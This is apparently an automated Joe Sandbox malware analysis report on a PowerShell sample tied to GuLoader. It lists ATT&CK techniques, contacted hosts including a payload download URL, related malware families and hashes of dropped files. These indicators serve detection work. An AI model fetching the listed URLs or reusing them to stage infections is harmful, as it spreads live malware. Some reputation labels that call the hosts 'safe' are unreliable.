Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Users\Public\fcab.bat

2_2_0040333D

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	121 Masquerading	1 Input Capture	11 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	11 Process Injection	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	113 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
eua.ps1	11%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\Public\fcab.bat	3%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsjD2A6.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dld.ae	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.microsoft.co	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.blufwzmaxxlasfwzr.com/rh/List%20of%20rfwzquirfwzd%20itfwzms%20and%20sfwzrvicfwzs.pdf	0%	Avira URL Cloud	safe
https://www.dld.ae/zp/zpeu.exe	0%	Avira URL Cloud	safe
https://www.dld.ae	0%	Avira URL Cloud	safe
http://www.oruddho.com	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dld.ae	84.16.234.51	true	false	0%, Virustotal, Browse	unknown
www.bluemaxxlaser.com	203.175.174.69	true	false		unknown
www.dld.ae	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dld.ae/zp/zpeu.exe	false	Avira URL Cloud: safe	unknown
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.blufwzmaxxlasfwzr.com/rh/List%20of%20rfwzquirfwzd%20itfwzms%20and%20sfwzrvicfwzs.pdf	powershell.exe, 00000000.00000003.385520918.000001EA7E8F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.484779115.000001EA768F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.419761762.000001EA66A88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.484779115.000001EA76A34000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.oruddho.com	fcab.bat, 00000002.00000003.400335008.000000000283D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.419761762.000001EA66A88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000003.385520918.000001EA7E8F4000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://go.microsoft.co	powershell.exe, 00000000.00000002.489529975.000001EA7E936000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000003.385520918.000001EA7E937000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000003.384414473.000001EA7E921000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.419761762.000001EA66A88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000003.385520918.000001EA7E8F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.419761762.000001EA6835C000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.bluemaxxlaser.com	powershell.exe, 00000000.00000002.419761762.000001EA67986000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.419761762.000001EA67997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.484779115.000001EA76A34000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.484779115.000001EA768F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.419761762.000001EA66A88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.484779115.000001EA76A34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000000.00000002.484779115.000001EA76A34000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.484779115.000001EA76A34000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	fcab.bat, 00000002.00000002.644827494.000000000040A000.00000004.00000001.01000000.0000000A.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.419761762.000001EA66881000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.419761762.000001EA66A88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000003.385520918.000001EA7E8F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dld.ae	powershell.exe, 00000000.00000002.419761762.000001EA67289000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.175.174.69	www.bluemaxxlaser.com	Singapore		24482	SGGS-AS-APSGGSSG	false
84.16.234.51	dld.ae	Germany		28753	LEASEWEB-DE-FRA-10DE	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	879706
Start date and time:	2023-06-01 12:13:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	eua.ps1
Detection:	MAL
Classification:	mal68.troj.evad.winPS1@14/66@3/3
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 62.2% (good quality ratio 60.7%) Quality average: 88.4% Quality standard deviation: 21.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 66 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.21.22.155, 2.21.22.179, 23.36.224.131
Excluded domains from analysis (whitelisted): ssl.adobe.com.edgekey.net, armmf.adobe.com, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, a122.dscd.akamai.net, acroipm2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 6096 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:14:11	API Interceptor	44x Sleep call for process: powershell.exe modified
12:14:30	API Interceptor	1x Sleep call for process: RdrCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.175.174.69	zpeu.exe	Get hash	malicious	GuLoader	Browse	bluemaxxlaser.com/rh/rheu.bin
203.175.174.69	as.ps1	Get hash	malicious	GuLoader	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
84.16.234.51	as.ps1	Get hash	malicious	GuLoader	Browse
84.16.234.51	RFQ - Scan36711006.exe	Get hash	malicious	AgentTesla, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.bluemaxxlaser.com	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SGGS-AS-APSGGSSG	zpeu.exe	Get hash	malicious	GuLoader	Browse	203.175.174.69
	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69
	Fe7MaP3DNP.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	Demon.x86.elf	Get hash	malicious	Unknown	Browse	103.14.247.55
	tebjuOp0kK.elf	Get hash	malicious	Mirai	Browse	103.14.247.35
	7Hhy4dfkst.elf	Get hash	malicious	Mirai	Browse	103.14.247.31
	5HzazUnnF6.elf	Get hash	malicious	Mirai	Browse	103.14.247.75
	4M3ACl2k2v.elf	Get hash	malicious	Unknown	Browse	103.14.247.47
	wget.elf	Get hash	malicious	Unknown	Browse	103.14.247.29
	chB6z5L2GD.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	86iDRbpkXb.elf	Get hash	malicious	Mirai	Browse	103.14.247.72
	yC34ftIroi.elf	Get hash	malicious	Mirai	Browse	103.14.247.68
	http://singaporeoptometricassociation.com/	Get hash	malicious	Unknown	Browse	203.175.162.79
	PiuV0y8Fw8.elf	Get hash	malicious	Mirai	Browse	103.14.247.49
	BvZi2Dj3LS.elf	Get hash	malicious	Mirai	Browse	103.14.247.26
	q44S0kQ3wZ.exe	Get hash	malicious	AgentTesla, Vidar	Browse	203.175.174.68
	SecuriteInfo.com.Win32.PWSX-gen.18409.25600.exe	Get hash	malicious	AgentTesla	Browse	203.175.168.182
	#U260e#Ufe0f E-Fax-Invoice.htm	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	https://faxcorporation1.od2.vtiger.com/pages/new_fax_receieved	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	aJF1hL1hAJ.dll	Get hash	malicious	Wannacry	Browse	124.6.37.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	as.ps1	Get hash	malicious	GuLoader	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	Cobro_Juridico_Historial_de_pago.vbs	Get hash	malicious	Njrat, PasteDownloader	Browse	84.16.234.51
	PO20230247.xla.xlsx	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.ps1	Get hash	malicious	Unknown	Browse	84.16.234.51
	main.ps1	Get hash	malicious	KDOT TOKEN GRABBER	Browse	84.16.234.51
	AEJR1569.js	Get hash	malicious	NetSupport RAT	Browse	84.16.234.51
	https://docs.google.com/drawings/d/1yyXXrwkMe93YDIykPC-d3JWZ3X37agPJMgGC3eIiv0w/preview	Get hash	malicious	HTMLPhisher	Browse	84.16.234.51
	npp.8.5.3.Installer.x64342423423423424242423423424.bat	Get hash	malicious	Unknown	Browse	84.16.234.51
	Pagamento.js	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	84.16.234.51
	rBillofLading05-25-2023.exe	Get hash	malicious	AveMaria	Browse	84.16.234.51
	SCAN_DOC_003930_doc.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	HIOY0568.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	Voucher_Booking_Reservation_Detail_09888846348.vbs	Get hash	malicious	AsyncRAT	Browse	84.16.234.51
	06472899.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	zpeu.exe	Get hash	malicious	GuLoader	Browse
	zpeu.exe	Get hash	malicious	GuLoader	Browse
	as.ps1	Get hash	malicious	GuLoader	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	FormBook, GuLoader	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	GuLoader	Browse
	DB948GHBNJI.xlsx	Get hash	malicious	GuLoader	Browse
	Order-new world foods.xlsx	Get hash	malicious	GuLoader	Browse
	8cAZneRN6B.exe	Get hash	malicious	FormBook, GuLoader	Browse
	8cAZneRN6B.exe	Get hash	malicious	GuLoader	Browse
	fr34veeTGm.exe	Get hash	malicious	FormBook, GuLoader	Browse
	fr34veeTGm.exe	Get hash	malicious	GuLoader	Browse
	ShipmentReceipt9521368040.xlsx	Get hash	malicious	GuLoader	Browse
	njUIPPVrud.exe	Get hash	malicious	FormBook, GuLoader	Browse
	njUIPPVrud.exe	Get hash	malicious	GuLoader	Browse
	ShipmentReceipt93213628045.xlsx	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\Public\fcab.bat

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	344681
Entropy (8bit):	6.7218967633534605
Encrypted:	false
SSDEEP:	6144:bmOPbtybqh+/fDv9vE520B36t/21/F99OjpiN6:ft2W+nz9s520j999OS6
MD5:	9DCA43CB15D97693D2DE73683804C5C7
SHA1:	3BF61BC542DB16E0A045505C2868CD12CFCAC769
SHA-256:	C3AC750A23FB48EEE9E1CE2D9BD59AADBC190A1DD36AFBDC9F5C39EEB7F87756
SHA-512:	26A0870AE04D5939C410F31B1755D0AE37658921536D6C6A02FA59003B5CF3AD1FC5D4DA919DD1B6D58B451210BD46084E74FD44C8988065FEE78B88EB122549
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...'.uY.................d...*......=3............@.......................................@..........................................................................................................................................................text...mb.......d.................. ..`.rdata...............h..............@..@.data................\|..............@....ndata...P...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\05349744be1ad4ad_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.615435108181702
Encrypted:	false
SSDEEP:	3:m+lvns8RzYOCGLvHkWBGKuKjXKLNjKLuVzu/WhT19hMktu3/iTFJrqzOJkvP5m1:men9YOFLvEWdM9Q9WB1/ltuvi7Z+P41
MD5:	8EB571A2F578FD0D96A664FF6DCDC848
SHA1:	476F14A16F3E125F07346EF58C37B913214F0A85
SHA-256:	C9BF7AD05F4147B30BE46B455182A474DF7A789B9EDEC5C358E3A15F8BA82859
SHA-512:	8F9F8694556972565A3F7F078AC42AF96A3F0EA20F78B7E494313E05D8C1E173871E016896A48E0FD9D1F58A6F788F7D4527BF4497DAA8B6D93BDB4CCC9072DC
Malicious:	false
Preview:	0\r..m......M..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/plugin.js ...u..[/....."#.D...;..A.A..Eo......Z.c.............d.{v.^.G...d.W.:...P..k%..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0786087c3c360803_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.562019634990087
Encrypted:	false
SSDEEP:	3:m+lF9NX6v8RzYOCGLvHktWVd6tw+/6kxMktR9lXe98fZe/O+/rkwGhkg4m1:mi9NqEYOFLvEkm6u6kxltR9la8Be7YwE
MD5:	0C7D85437346DF79FA20D827D6A7B1C4
SHA1:	D76E07F4FE52B2E795AA1D27EDA8A483ED7E1AA0
SHA-256:	DFFC7E08DDF1D2D1D45F90425955F7B73621997C0337D5D2F1E799E891A382AE
SHA-512:	87BCDECBEE19FD6B77AD7C7067D6509340D3D87F3058B68A2240A7DC33C2700C2ADD64E54DB91E9C25F0FCB024E8CE5943280B26CA384074A5A1DB4FBEAD184F
Malicious:	false
Preview:	0\r..m............,....._keyhttps://rna-resource.acrobat.com/init.js .';_..[/....."#.D=)y.;..A.A..Eo......O..B.........1.x.'.vI..*\|Z..o...+.4....0..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0998db3a32ab3f41_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.563292870042341
Encrypted:	false
SSDEEP:	6:mMyEYOFLvEWdVFLBKFjVFLBKFlQhuCcuBltL9/let/RlUoSjGY1:DyeRVFAFjVFAFduD1fetZlUo6
MD5:	FC370D4CFE8EB9263ABD652CE96CD524
SHA1:	998911643E005CEBB19C1DA98257AD4B256319DB
SHA-256:	F169D6934ADC4C5C1AC2D4CB3CD8DC74B4024923E0D866C6665E92F48FD80CA4
SHA-512:	5E845E672FC50834EA5D7502242ED74B94C1AB5FCE0E935606E3F023380E11BAE453D25CAB4CDC8D454580DF454769225C2472923FA1569D1CAF3285F432544E
Malicious:	false
Preview:	0\r..m......v...n......._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/selector.js ..gt..[/....."#.D$..;..A.A..Eo.......U."..........hvDO.N.t@.....n.*...... ....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0ace9ee3d914a5c0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.681248251680065
Encrypted:	false
SSDEEP:	6:mNtVYOFLvEWdFCi5RsID/d10hltbluiWulHyA1:IbRkiDTQRljWus
MD5:	741090CB80D4E1D1D648A9CA7ADF34CB
SHA1:	6D4A483F77609BE7BC4921F938AEB066813597B0
SHA-256:	7F1773245725284E3CA29CF9F2FC3864C0F9B2AC0A74ED3316D0BCF6A1D97BA7
SHA-512:	7B409E7A2B82547A2FA181D23BE4319E0CC716EBD3CE146B7F50100A0DC357C04D6C79899C9486903CE287D4BA407375AC9C9C60FCF0D093DB3D8D1402636A78
Malicious:	false
Preview:	0\r..m......h.....'....._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-tool-view.js ......[/....."#.D&.7.;..A.A..Eo......1.I...........8 P..a...R..Y....7.@..2Dm{..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0f25049d69125b1e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.55530404996288
Encrypted:	false
SSDEEP:	6:m+yiXYOFLvEWd7VIGXVutTr2/ltcVyh9PT41:pyixRuPr29+V41T
MD5:	D1A81CC38CF4FF4AB53F3C0A7CC2934D
SHA1:	438F9E6E49B4795ACD3DB3BAD86F56BA6B434407
SHA-256:	FEC0BE7C1BC6F2D6AB6E77555CCB0F0E7121B1BDD085E10EB3CBD08065F1B7F2
SHA-512:	211245351FCD00085896584860D983197F262FED1A4AC061AB820ECB0CCFAC084BF7DA0C7673AF6896683A699EEEA41D49B4872B18231656E7519E82167244FB
Malicious:	false
Preview:	0\r..m......R...kP]g...._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/selector.js ...t..[/....."#.D...;..A.A..Eo.......C..........k.Q.....-_..y.....O...>..1....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\230e5fe3e6f82b2c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.599634536617189
Encrypted:	false
SSDEEP:	6:mvYOFLvEWdhwjQfXlY1ltplV3ZIl6P41:0RhkGM5BZ
MD5:	45034E045BE7B0B72AC2BF77F61E91B5
SHA1:	EB1681A59CC9C3FDF671C2116A5C26243BBA18EA
SHA-256:	8A2E6B498D754934C1B99B3AEC696B665A22E7CEC3E2F014F3E4D671B3EFD50C
SHA-512:	44C78442C06772333774D2B99813C485F265AAEB2AFF5666ADC851C03CF531EA745957253D570FFC65146B2321EA1E62CD44A831523BDD386DFAABE958E3D8D1
Malicious:	false
Preview:	0\r..m......X.....V....._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/plugin.js .i~n..[/....."#.D$...;..A.A..Eo.......DM..........].>....uUf..N...k......c..l.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2798067b152b83c7_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.552000627276196
Encrypted:	false
SSDEEP:	3:m+lZd8RzYOCGLvHkWBGKuKjXKX7KoQRA/KVdKLuVStJv/lk6/1MktecyxMtv9EWy:mJYOFLvEWdGQRQOdQh1F/1lteD6g1
MD5:	F145385D95965B7C9A6C995132DFE2E9
SHA1:	3014B8B7C81AF1730A029E2C54CD5ED51EBECEE0
SHA-256:	5B2707D5F1E35DBDC72067EB26313C55C63DB98BF12F0D26C253709B546E8B9D
SHA-512:	0AE37258A098A6CE52E594B8011B0F02B0381845634ACFC39832C1E1F2CBF6EB8F0425238B9EE55A6C785E4AF1ADE95E3FDFE15B829E56DF6DF0A645F64BEEB5
Malicious:	false
Preview:	0\r..m......Q..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/plugin.js ...u..[/....."#.D...;..A.A..Eo......A..F..........c..y/L....\|y.n..C/I.....X7-ne.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2a426f11fd8ebe18_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.561828965579524
Encrypted:	false
SSDEEP:	3:m+lLp08RzYOCGLvHkfaMMuVVu+Wfse4qMktylltVQMWqg4nRb7om5m1:mOYOFLvECMLg+WEe4qlty/cuR/41
MD5:	907302A6EB9CC1D751AED9EAA538B165
SHA1:	220C97768E62D211A0899FC539ACB417DC94C6B0
SHA-256:	6DF523D71BF70531A897130FC4312DB2922684599E93054F3F88AE493092C27F
SHA-512:	34233508E1A97E7E2547B9536F7EF46A2E02AF604F8786EC3EAE5FAB447B3DCF38A2E2C2BF275890DBC3D24BB324A9A9C3341DCBF105EE3AE40D083CB6BD120D
Malicious:	false
Preview:	0\r..m......3....<lb...._keyhttps://rna-resource.acrobat.com/base_uris.js ..>_..[/....."#.D.sz.;..A.A..Eo.........f.........y...L<?W.Xi..A\Q3...J.}...d..~G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\39c14c1f4b086971_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.641556119309619
Encrypted:	false
SSDEEP:	6:mGpYOFLvEWdzAAuAYsp9hltBGm0bbsIDMGH41:XfRM2/j/VKsIZ
MD5:	A767045D5B2EFA38F7B20130DAB01E60
SHA1:	63AD009B03D3788BF18E9452F6690415DA4A1970
SHA-256:	4C25ACC9272F4DD9731EA6649F96BB845BC93C747BB753D0B189185733713BA7
SHA-512:	2188AC6085D4E5F4EB9D577DA87B3ECFE601C2746784AAA04995FD5BD1101716C491FE35E1AC94CA02591C4E3C47325A9EBC179D2305A9C249209E2F88EE1172
Malicious:	false
Preview:	0\r..m......T....,.^...._keyhttps://rna-resource.acrobat.com/static/js/plugins/walk-through/js/selector.js ......[/....."#.D&...;..A.A..Eo........M...........`.....^....L>..Xa./......C.y.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\3a4ae3940784292a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.558187660796835
Encrypted:	false
SSDEEP:	6:m4fPYOFLvEWdtuAt/2ltW3by0zBUKSAA1:pRj1cWb
MD5:	9537C763355C2F89979259BF07E6E939
SHA1:	9B7496AF5312F95D6FF71D03A48B3C59C86A95D6
SHA-256:	09B86083901E9B47C6F8F8149C1E7991A983BA672E285688B7AC51299E9C6B86
